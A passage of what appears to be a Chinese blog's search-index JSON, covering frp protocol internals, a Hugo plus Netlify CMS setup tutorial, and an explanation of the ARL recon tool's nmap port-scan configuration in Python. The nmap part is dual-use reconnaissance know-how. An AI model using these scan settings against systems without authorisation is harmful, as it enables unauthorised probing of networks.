version+runid+udpport+err\n\tend\n\tloop 心跳\n\t\tc -) + s : 心跳ping\n\t\ts --) - c : 心跳pong\n\tend\n\n    activate s\n\ts -) c : 发送 ReqWorkConn 消息，根据连接池配置建立连接\n\tc --\u003e\u003e s : 建立连接，发送 NewWorkConn 消息，带上runid\n\ts -\u003e\u003e s: 将连接放入runid对应的连接池\n    deactivate s\n\n\tc -) + s : 根据 client proxy 配置，发送 NewProxy 请求\n\ts -\u003e\u003e s : 启动proxy(监听proxy对应的端口)\n\ts --\u003e\u003e - c : 回复 NewProxyResp 消息(带入proxyName)\t\n\n\tu -\u003e\u003e + s : 访问 proxy 监听的端口\n\ts -\u003e\u003e s : 将用户请求与 client 连接池中的一个可用连接串联起来\n\ts -) c : 在上述可用连接上发送 StartWorkConn 消息，告知有新的用户连接接入该 proxy\n\tc -\u003e\u003e c : 处理该连接\n\u003c/div\u003e\n\u003cp\u003efrp中 client 和 server 之间的连接有 workConn 和普通连接两类，workConn 主要是为了和用户主动发起的连接打通，而普通连接主要是 client 与 server 之间的业务交流\u003c/p\u003e","title":"frp 源码阅读"},{"content":"网上的博客很多关于Netlify CMS的部署都是使用了Netlify的服务，因为我自己的博客已经使用了GithubAction作为CI来自动部署，我的博客源文件放在hugo分支下，对hugo分支commit会触发GithubAction，然后使用进行网站构建并推送到master分支下，并且自定义域名是使用的其他域名提供商来解析的，本文主要是记录一下在这种情况下怎么为博客添加NetlifyCMS\nNetlify CMS 做什么 安装之前我们需要了解一下Netlify CMS是什么。Netlify CMS 和 Forestry 等工具一样，它可以帮助你管理你的git仓库，我们一般的主要用途就是拿它来管理git仓库中的 blog 源文件，它提供了一个友好的界面来帮助你编写你的 blog 源文件，然后后续的 git commit push 它会帮你效劳，你可以拿它来作为CI，自动帮你构建好网站，也可以只使用他的编辑推送功能，把它当作一个管理后台，让其他的CI来帮你做后面的事情。\n举个例子，我有一个博客托管在 github pages，拥有自己的CI来进行博客部署，我只需要推送 markdown 博文源文件到指定分支下，即可触发构建，但是我不想每次都在本地写博客，我希望有个简单的方式来让我随时随地在线编辑发布博客，那我就可以使用 Netlify CMS，当然，你也可以使用 github.dev，不过缺点是你需要另外的工具来处理你的图片，因为 github.dev 不支持图片粘贴（相应的插件也无法安装），但是 Netlify CMS 能够通过配置来完成粘贴图片的功能，麻雀虽小五脏俱全。\n如何部署 可能你看了不少说明文档，但是还是处于不可用的状态。其实有很大一部分原因是没有使用 Netlify 的服务，比如你的自定义域名没有托管在 Netlify。\n我决定使用 Netlfify 提供给我的 xxxx.netlify.app 域名。最终效果是我可以直接访问该域名(xxxx.netlify.app) 即可管理我的博客后台。\n建立新分支 从这里开始可能你就会发现和说明文档有点不一样。因为我不打算把它放置在子文件夹（admin）下。\n首先我们 clone 我们的博客仓库。拿我自己的仓库举例子，hugo 是我放置博客源文件的分支。\n1 2 git clone git@github.com:akkuman/akkuman.github.io.git cd akkuman.github.io 然后我们新建一个分支用来托管 Netlify CMS。\n1 2 git checkout --orphan netlifycms # 新建一个没有历史的分支 git rm -rf . # 把当前内容全部删除，得到一个空分支 当然，你可以用你自己习惯的办法创建一个新分支然后删除所有的文件，我们只需要有一个新分支，这个分支上没有任何文件。\n创建 Netlify CMS 所需的文件 我们需要创建两个文件，一个 index.html，一个 config.yml\nindex.html 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 \u0026lt;!doctype html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;utf-8\u0026#34; /\u0026gt; \u0026lt;meta name=\u0026#34;viewport\u0026#34; content=\u0026#34;width=device-width, initial-scale=1.0\u0026#34; /\u0026gt; \u0026lt;script src=\u0026#34; https://identity.netlify.com/v1/netlify-identity-widget.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;title\u0026gt;Content Manager\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;!-- Include the script that builds the page and powers Netlify CMS --\u0026gt; \u0026lt;script src=\u0026#34;https://cdn.jsdelivr.net/npm/netlify-cms@2.10.192/dist/netlify-cms.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script\u0026gt; if (window.netlifyIdentity) { window.netlifyIdentity.on(\u0026#34;init\u0026#34;, user =\u0026gt; { if (!user) { window.netlifyIdentity.on(\u0026#34;login\u0026#34;, () =\u0026gt; { document.location.href = \u0026#34;/\u0026#34;; }); } }); } \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; config.yml 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 backend: name: git-gateway branch: hugo # Branch to update (optional; defaults to master) squash_merges: true # This line should *not* be indented publish_mode: editorial_workflow # These lines should *not* be indented media_folder: \u0026#34;static/images/uploads\u0026#34; # Media files will be stored in the repo under static/images/uploads public_folder: \u0026#34;/images/uploads\u0026#34; # The src attribute for uploaded media will begin with /images/uploads collections: - name: \u0026#34;post\u0026#34; # Used in routes, e.g., /admin/collections/blog label: \u0026#34;Blog posts\u0026#34; # Used in the UI folder: \u0026#34;content/posts\u0026#34; # The path to the folder where the documents are stored extension: md create: true # Allow users to create new documents in this collection slug: \u0026#34;{{year}}-{{month}}-{{day}}-{{slug}}\u0026#34; # Filename template, e.g., YYYY-MM-DD-title.md fields: # The fields for each document, usually in front matter - {label: \u0026#34;Layout\u0026#34;, name: \u0026#34;layout\u0026#34;, widget: \u0026#34;hidden\u0026#34;, default: \u0026#34;blog\u0026#34;} - {label: \u0026#34;Title\u0026#34;, name: \u0026#34;title\u0026#34;, widget: \u0026#34;string\u0026#34;} - {label: \u0026#34;Publish Date\u0026#34;, name: \u0026#34;date\u0026#34;, widget: \u0026#34;datetime\u0026#34;} - {label: \u0026#34;Show TOC\u0026#34;, name: \u0026#34;showToc\u0026#34;, widget: \u0026#34;boolean\u0026#34;, default: true} - {label: \u0026#34;Draft\u0026#34;, name: \u0026#34;draft\u0026#34;, widget: \u0026#34;boolean\u0026#34;, required: false, default: false} - {label: \u0026#34;Description\u0026#34;, name: \u0026#34;description\u0026#34;, widget: \u0026#34;string\u0026#34;, required: false} - widget: object name: cover label: Cover required: false fields: - {label: Image, name: image, widget: string, required: false, comment: image path/url} - {label: Alt, name: alt, widget: string, required: false, comment: alt text} - {label: Caption, name: caption, widget: string, required: false, comment: display caption under cover} - {label: Relative, name: relative, widget: string, required: false, comment: when using page bundles set this to true} - {label: Hidden, name: hidden, widget: \u0026#34;hidden\u0026#34;, required: false, default: false, comment: only hide on current single page} - {label: \u0026#34;Body\u0026#34;, name: \u0026#34;body\u0026#34;, widget: \u0026#34;markdown\u0026#34;} backend.name: 这个主要是和认证相关\nbackend.branch: 这是主要是指明你的博客源文件（编写 markdown）的分支\nbackend.squash_merges: 这个主要是当下面设置 publish_mode: editorial_workflow 时，会启用编辑文件的工作流，启用该工作流后，你编辑博客后，可以保存，Netlify CMS 会自动将你保存但未发布的 markdown 放置到一个新建的分支中去，然后你可以多次编辑保存，会在该分支上生成多次 commit，等待你发布的时候，会合并到你的 backend.branch 分支上去，启用 squash_merges 后，会将你的多次编辑 commit 合并成一个提交合并上去\nmedia_folder: 指明你的静态文件实际保存在哪里（在博客源文件分支中）\npublic_folder: 指明你的静态文件在发布分支（即博客构建部署生成html的分支）的位置\ncollections: 该配置定义了你的站点需要编辑的文件的结构，比如我需要编辑我的博客 posts，我就建立了一个 name: \u0026quot;post\u0026quot; 的 collection\nlabel: \u0026quot;Blog posts\u0026quot;: 在NetlifyCMS中显示的标题，随便填 folder: \u0026quot;content/posts\u0026quot;: 你的博文文件放在哪 extension: md: 你的博文的后缀是什么，一般是 md slug: \u0026quot;{{year}}-{{month}}-{{day}}-{{slug}}\u0026quot;: 博文文件命名格式 fields: 该配置下面放置你的博文header的配置，这部分配置的细节可以查看官方关于这部分内容的说明 (https://www.netlifycms.org/docs/add-to-your-site/#collections) 配置完成后，将这些文件发布到你仓库的 netlifycms 分支下，样例可参见 https://github.com/akkuman/akkuman.github.io/tree/netlifycms, 如果我这边文章提到的分支已经不存在，可以查看该 commit https://github.com/akkuman/akkuman.github.io/tree/de1cc353fd345870f8e0d148593d6ee86132152b\nNetlifyCMS 配置 配置好上面的内容后，我们需要在 Netlify 上做相关的网站配置\n首先我们打开网站 https://netlify.app/ 并注册登录，打开个人资料配置界面\nhttps://app.netlify.com/user/settings#connected-accounts，关联你的github账号\n然后打开你的主页，按照下图创建一个站点\n然后点击从github导入\n选择你的博客仓库，接着按照下图配置\n其中 Branch to deploy 选择我们刚才为 NetlifyCMS 建立的分支，部署相关的内容全部置空，然后点击 Deploy Site，然后你会看到这个页面\n等待站点部署完成后，你可以看到netlify给你提供的网站，类似于 xxxx.netlify.app，点击 Site settings，你可以在 Site details -\u0026gt; Site information 更改你的url。\n访问这个网站，会提示你无法登录\n我们打开 Site settings -\u0026gt; Identity 然后启用身份认证\n首先我们需要关闭注册功能，只能邀请，否则我们的 NetlifyCMS 可能会被人滥用\n我们进入身份管理邀请一个用户，填入邮箱\n然后你的邮箱里面应该会收到一个邀请链接，访问后设置上密码。\n此时你应该还是无法登录，会提示你需要先配置 git-gateway。\n我们打开 Site settings -\u0026gt; Identity -\u0026gt; Services -\u0026gt; Git Gateway，然后启用（Enable Git Gateway）\n现在你再进入你配置的 NetlifyCMS，现在你可以看到你的博客管理后台了。\n功能比较简单，就不介绍如何使用了。\n因为我们在配置中启用了工作流，你可以尝试尝试如何使用，具体原理是 NetlifyCMS 会给你新建一个分支来保存还未发布的在工作流中的文章，等待发布后会合并上去，详细细节可以自行研究。\n","permalink":"https://www.hacktech.cn/post/2022/06/hugo-netlifycms-setup/","summary":"\u003cp\u003e网上的博客很多关于Netlify CMS的部署都是使用了Netlify的服务，因为我自己的博客已经使用了GithubAction作为CI来自动部署，我的博客源文件放在hugo分支下，对hugo分支commit会触发GithubAction，然后使用进行网站构建并推送到master分支下，并且自定义域名是使用的其他域名提供商来解析的，本文主要是记录一下在这种情况下怎么为博客添加NetlifyCMS\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"netlify-cms-做什么\"\u003eNetlify CMS 做什么\u003c/h2\u003e\n\u003cp\u003e安装之前我们需要了解一下Netlify CMS是什么。Netlify CMS 和 Forestry 等工具一样，它可以帮助你管理你的git仓库，我们一般的主要用途就是拿它来管理git仓库中的 blog 源文件，它提供了一个友好的界面来帮助你编写你的 blog 源文件，然后后续的 git commit push 它会帮你效劳，你可以拿它来作为CI，自动帮你构建好网站，也可以只使用他的编辑推送功能，把它当作一个管理后台，让其他的CI来帮你做后面的事情。\u003c/p\u003e\n\u003cp\u003e举个例子，我有一个博客托管在 github pages，拥有自己的CI来进行博客部署，我只需要推送 markdown 博文源文件到指定分支下，即可触发构建，但是我不想每次都在本地写博客，我希望有个简单的方式来让我随时随地在线编辑发布博客，那我就可以使用 Netlify CMS，当然，你也可以使用 github.dev，不过缺点是你需要另外的工具来处理你的图片，因为 github.dev 不支持图片粘贴（相应的插件也无法安装），但是 Netlify CMS 能够通过配置来完成粘贴图片的功能，麻雀虽小五脏俱全。\u003c/p\u003e\n\u003ch2 id=\"如何部署\"\u003e如何部署\u003c/h2\u003e\n\u003cp\u003e可能你看了不少说明文档，但是还是处于不可用的状态。其实有很大一部分原因是没有使用 Netlify 的服务，比如你的自定义域名没有托管在 Netlify。\u003c/p\u003e\n\u003cp\u003e我决定使用 Netlfify 提供给我的 \u003ccode\u003exxxx.netlify.app\u003c/code\u003e 域名。最终效果是我可以直接访问该域名(\u003ccode\u003exxxx.netlify.app\u003c/code\u003e) 即可管理我的博客后台。\u003c/p\u003e\n\u003ch3 id=\"建立新分支\"\u003e建立新分支\u003c/h3\u003e\n\u003cp\u003e从这里开始可能你就会发现和\u003ca href=\"https://www.netlifycms.org/docs/add-to-your-site/\"\u003e说明文档\u003c/a\u003e有点不一样。因为我不打算把它放置在子文件夹（\u003ccode\u003eadmin\u003c/code\u003e）下。\u003c/p\u003e\n\u003cp\u003e首先我们 clone 我们的博客仓库。拿我自己的仓库举例子，\u003ca href=\"https://github.com/akkuman/akkuman.github.io/tree/96f4e480342a806ac633b15909155684eac53319\"\u003ehugo\u003c/a\u003e 是我放置博客源文件的分支。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e2\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-shell\" data-lang=\"shell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egit clone git@github.com:akkuman/akkuman.github.io.git\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecd akkuman.github.io\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e然后我们新建一个分支用来托管 Netlify CMS。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e2\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-shell\" data-lang=\"shell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egit checkout --orphan netlifycms \u003cspan style=\"color:#75715e\"\u003e# 新建一个没有历史的分支\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egit rm -rf . \u003cspan style=\"color:#75715e\"\u003e# 把当前内容全部删除，得到一个空分支\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e当然，你可以用你自己习惯的办法创建一个新分支然后删除所有的文件，我们只需要有一个新分支，这个分支上没有任何文件。\u003c/p\u003e","title":"hugo+NetlifyCMS部署"},{"content":"灯塔（ARL）里面有一个namp扫描模块，里面有配置可以学习一下\n首先上代码\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 class PortScan: def __init__(self, targets, ports=None, service_detect=False, os_detect=False, port_parallelism=None, port_min_rate=None, custom_host_timeout=None): self.targets = \u0026#34; \u0026#34;.join(targets) self.ports = ports self.max_hostgroup = 128 self.alive_port = \u0026#34;22,80,443,843,3389,8007-8011,8443,9090,8080-8091,8093,8099,5000-5004,2222,3306,1433,21,25\u0026#34; self.nmap_arguments = \u0026#34;-sT -n --open\u0026#34; self.max_retries = 3 self.host_timeout = 60*5 self.parallelism = port_parallelism # 默认 32 self.min_rate = port_min_rate # 默认64 if service_detect: self.host_timeout += 60 * 5 self.nmap_arguments += \u0026#34; -sV\u0026#34; if os_detect: self.host_timeout += 60 * 4 self.nmap_arguments += \u0026#34; -O\u0026#34; if len(self.ports.split(\u0026#34;,\u0026#34;)) \u0026gt; 60: self.nmap_arguments += \u0026#34; -PE -PS{}\u0026#34;.format(self.alive_port) self.max_retries = 2 else: if self.ports != \u0026#34;0-65535\u0026#34;: self.nmap_arguments += \u0026#34; -Pn\u0026#34; if self.ports == \u0026#34;0-65535\u0026#34;: self.max_hostgroup = 8 self.min_rate = max(self.min_rate, 400) self.nmap_arguments += \u0026#34; -PE -PS{}\u0026#34;.format(self.alive_port) self.host_timeout += 60 * 2 self.max_retries = 2 self.nmap_arguments += \u0026#34; --max-rtt-timeout 800ms\u0026#34; self.nmap_arguments += \u0026#34; --min-rate {}\u0026#34;.format(self.min_rate) self.nmap_arguments += \u0026#34; --script-timeout 6s\u0026#34; self.nmap_arguments += \u0026#34; --max-hostgroup {}\u0026#34;.format(self.max_hostgroup) # 依据传过来的超时为准 if custom_host_timeout is not None: if int(custom_host_timeout) \u0026gt; 0: self.host_timeout = custom_host_timeout self.nmap_arguments += \u0026#34; --host-timeout {}s\u0026#34;.format(self.host_timeout) self.nmap_arguments += \u0026#34; --min-parallelism {}\u0026#34;.format(self.parallelism) self.nmap_arguments += \u0026#34; --max-retries {}\u0026#34;.format(self.max_retries) def run(self): logger.info(\u0026#34;nmap target {} ports {} arguments {}\u0026#34;.format( self.targets[:20], self.ports[:20], self.nmap_arguments)) nm = nmap.PortScanner() nm.scan(hosts=self.targets, ports=self.ports, arguments=self.nmap_arguments) ip_info_list = [] for host in nm.all_hosts(): port_info_list = [] for proto in nm[host].all_protocols(): port_len = len(nm[host][proto]) for port in nm[host][proto]: # 对于开了很多端口的直接丢弃 if port_len \u0026gt; 600 and (port not in [80, 443]): continue port_info = nm[host][proto][port] item = { \u0026#34;port_id\u0026#34;: port, \u0026#34;service_name\u0026#34;: port_info[\u0026#34;name\u0026#34;], \u0026#34;version\u0026#34;: port_info[\u0026#34;version\u0026#34;], \u0026#34;product\u0026#34;: port_info[\u0026#34;product\u0026#34;], \u0026#34;protocol\u0026#34;: proto } port_info_list.append(item) osmatch_list = nm[host].get(\u0026#34;osmatch\u0026#34;, []) os_info = self.os_match_by_accuracy(osmatch_list) ip_info = { \u0026#34;ip\u0026#34;: host, \u0026#34;port_info\u0026#34;: port_info_list, \u0026#34;os_info\u0026#34;: os_info } ip_info_list.append(ip_info) return ip_info_list def os_match_by_accuracy(self, os_match_list): for os_match in os_match_list: accuracy = os_match.get(\u0026#39;accuracy\u0026#39;, \u0026#39;0\u0026#39;) if int(accuracy) \u0026gt; 90: return os_match return {} 入口是run\n首先是扫描策略的配置\nflowchart TB A[namp扫描] --\u003e strategy subgraph strategy direction LR B(\"-sT -n --open max_hostgroup=128 max_retries=3 host_timeout=60*5 parallelism=32 min_rate=64\") --\u003e C{\"service_detect?\"} C --\u003e|true| c1[\"add -sV host_timeout+=60*5\"] B --\u003e D{\"os_detect?\"} D --\u003e|true| d1[\"add -O host_timeout+=60*4\"] B --\u003e E{\"len(self.ports.split(',')) \u003e 60?\"} E --\u003e|true| e1[\"add -PE -PS22,80,443,843,3389,8007-8011,8443,9090,8080-8091,8093,8099,5000-5004,2222,3306,1433,21,25 max_retries=2\"] E --\u003e|false| e2{\"ports != '0-65535'?\"} e2 --\u003e|true| ee1[\"add -Pn\"] B --\u003e F{\"ports == '0-65535'?\"} F --\u003e|true| f1[\"add -PE -PS22,80,443,843,3389,8007-8011,8443,9090,8080-8091,8093,8099,5000-5004,2222,3306,1433,21,25 max_hostgroup=8 min_rate=max(self.min_rate, 400) host_timeout+=60 * 2 max_retries=2 \"] end subgraph paramStep direction TB paramStep1[\"--max-rtt-timeout 800ms\"] --\u003e paramStep2[\"--min-rate min_rate\"] paramStep2 --\u003e paramStep3[\"--script-timeout 6s\"] paramStep3 --\u003e paramStep4[\"--max-hostgroup max_hostgroup\"] paramStep4 --\u003e paramStep5[\"--host-timeout host_timeout\"] paramStep5 --\u003e paramStep6[\"--min-parallelism parallelism\"] paramStep6 --\u003e paramStep7[\"--max-retries max_retries\"] end strategy --\u003e paramStep 其中涉及到的配置\n-sT 全连接扫描会和服务器建立完整的三次握手\n-n 不做dns解析\n—open 只显示开放或可能开放的端口\n-sV 探测开放端口的服务\n-O 启用操作系统版本探测\n-PE 基于ICMP的echo的主机发现\n-PS[portlist] 基于TCP SYN指定端口的主机发现\n-Pn 跳过主机发现，视所有主机都在线\n然后是对于扫描结果的处理\n如果一个ip的端口开放了600个以上，则只留下80和443端口的信息 ","permalink":"https://www.hacktech.cn/post/2022/04/arl-nmap-strategy/","summary":"\u003cp\u003e灯塔（ARL）里面有一个namp扫描模块，里面有配置可以学习一下\u003c/p\u003e\n\u003cp\u003e首先上代码\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 5\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 6\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 7\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 8\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 9\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e10\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e11\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e12\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e13\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e14\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e15\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e16\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e17\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e18\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e19\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e20\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e21\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e22\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e23\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e24\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e25\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e26\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e27\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e28\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e29\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e30\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e31\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e32\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e33\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e34\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e35\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e36\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e37\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e38\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 